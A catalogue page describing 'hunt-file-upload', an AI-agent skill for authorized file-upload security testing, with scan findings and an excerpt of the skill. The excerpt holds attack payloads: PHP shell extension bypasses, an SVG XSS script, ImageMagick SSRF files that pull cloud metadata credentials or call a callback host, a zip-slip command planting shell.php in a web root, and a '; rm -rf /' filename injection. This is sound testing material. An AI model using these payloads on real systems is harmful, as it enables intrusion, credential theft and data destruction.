hunt-file-upload

hunt-file-upload is a skill for Claude Code, Codex from uphiago/recon-skills. It costs 217 tokens per session (2,727 once invoked), scanned C, original, MIT.

A security-testing guide for unsafe file uploads. It checks whether uploaded files can run code, execute scripts in a browser, request internal services, or escape their intended directory.

In plain words
What is it for?
Use it to test image and document uploads, filename handling, archive extraction, XML processing, and server-side execution.
Why use it?
It helps expose upload validation mistakes involving file types, names, archives, and document processing.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip.

Good fit Use it to test image and document uploads, filename handling, archive extraction, XML processing, and server-side execution.

Compare 6 skills from other repositories ↓
About the project

Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.

uphiago/recon-skills · 1,254 stars · on GitHub · hiago.sh

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/uphiago/recon-skills
agentmods
npx agentmods add skills/uphiago/recon-skills/hunt-file-upload

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-file-upload

README.md
[![agentmods](https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-file-upload/github.svg)](https://agentmods.dev/skills/uphiago/recon-skills/hunt-file-upload)
Your own site
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-file-upload"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-file-upload/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for hunt-file-upload

Your own site · 80×15
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-file-upload"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-file-upload.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 217 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,727 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 12 findings, up to critical

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • critical YARA Match · line 189
    YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).
    Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
  • high Privilege Escalation · line 3
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 31
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 117
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 141
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 183
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 190
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Tool Misuse · line 32
    Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
    Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
  • high Tool Misuse · line 32
    Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
    Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
  • high Tool Misuse · line 32
    Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
    Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
  • high Tool Misuse · line 32
    Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
    Fix: Limit tool chaining depth and validate the output of each tool before passing it to the next. Require explicit user approval for multi-step chains.
  • medium Data Exfiltration · line 125
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00217 $0.02727
Opus 5 $0.00109 $0.01363
Sonnet 5 $0.00043 $0.00545
Haiku 4.5 $0.00022 $0.00273

Measured 8d ago against content hash 60da9b1b5846, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade C, and why

hunt-file-upload scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Recursive force deletehighDestructive command

rm -rf with a variable or a broad path is one typo away from removing the wrong tree.

| Filename injection | `; rm -rf /` in filename | Sanitize + use UUID names |

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/generate-pdf" \
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

redteam/hunt-file-upload/SKILL.md · 201 lines

How it starts

The opening of the file, as written. The whole thing — 201 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Content-Type & Extension Bypass

Content-Type Bypass

filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants

File Upload Bypass Techniques (10 techniques)

Attack How Prevention
Extension bypass shell.php.jpg, shell.pHp, shell.php5 Allowlist + extract final extension
Null byte shell.php%00.jpg Sanitize null bytes
Double extension shell.jpg.php Only allow single extension
MIME spoof Content-Type: image/jpeg with .php body Validate magic bytes, not MIME header
Magic bytes prefix Prepend GIF89a; to PHP code Parse whole file, not just header
Polyglot Valid as JPEG and PHP Process as image lib, reject if invalid
SVG JavaScript <svg onload="..."> Sanitize SVG or disallow entirely
XXE in DOCX Malicious XML in Office ZIP Disable external entities
ZIP slip ../../../etc/passwd in archive Validate extracted paths
Filename injection ; rm -rf / in filename Sanitize + use UUID names

Magic Bytes Reference

Type Hex
JPEG FF D8 FF
PNG 89 50 4E 47 0D 0A 1A 0A
GIF 47 49 46 38
PDF 25 50 44 46
ZIP/DOCX/XLSX 50 4B 03 04

Stored XSS via SVG

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

ImageMagick / FFmpeg Exploitation

ImageMagick SSRF / File Read (ImageTragick family + modern variants)

# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF

# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://[REDACTED_IP]/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF

# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC

Read the full file on GitHub · 201 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 201 lines · 217 tokens per session scan C 60da9b1b5846

Subscribe to this mod's changes

hunt-file-upload is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 10d ago), licensed MIT. It adds 217 tokens to every session and 2,727 once invoked, about $0.0011 per session on Opus 5. A static security scan graded it C with 2 findings (recursive force delete, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

auditing-gcp-iam-permissions

Auditing Google Cloud Platform IAM permissions to identify overly permissive bindings, primitive role usage, service account key proliferation, and cross-project access risks using gcloud CLI, Policy Analyzer, and IAM Recommender.

xalgorix/xalgorix · 51 tokens

detecting-compromised-cloud-credentials

Detecting compromised cloud credentials across AWS, Azure, and GCP by analyzing anomalous API activity, impossible travel patterns, unauthorized resource provisioning, and credential abuse indicators using GuardDuty, Defender for Identity, and SCC Event Threat Detection.

xalgorix/xalgorix · 55 tokens

implementing-aws-config-rules-for-compliance

Implementing AWS Config rules for continuous compliance monitoring of AWS resources, deploying managed and custom rules aligned to CIS and PCI DSS frameworks, configuring automatic remediation with SSM Automation, and aggregating compliance data across accounts.

xalgorix/xalgorix · 53 tokens

implementing-cloud-dlp-for-data-protection

Implementing Cloud Data Loss Prevention (DLP) using Amazon Macie, Azure Information Protection, and Google Cloud DLP API to discover, classify, and protect sensitive data across cloud storage, databases, and data pipelines.

xalgorix/xalgorix · 54 tokens

implementing-cloud-trail-log-analysis

Implementing AWS CloudTrail log analysis for security monitoring, threat detection, and forensic investigation using Athena, CloudWatch Logs Insights, and SIEM integration to identify unauthorized access, privilege escalation, and suspicious API activity.

xalgorix/xalgorix · 50 tokens

implementing-zero-trust-network-access

Implementing Zero Trust Network Access (ZTNA) in cloud environments by configuring identity-aware proxies, micro-segmentation, continuous verification with conditional access policies, and replacing traditional VPN-based access with BeyondCorp-style architectures across AWS, Azure, and GCP.

xalgorix/xalgorix · 59 tokens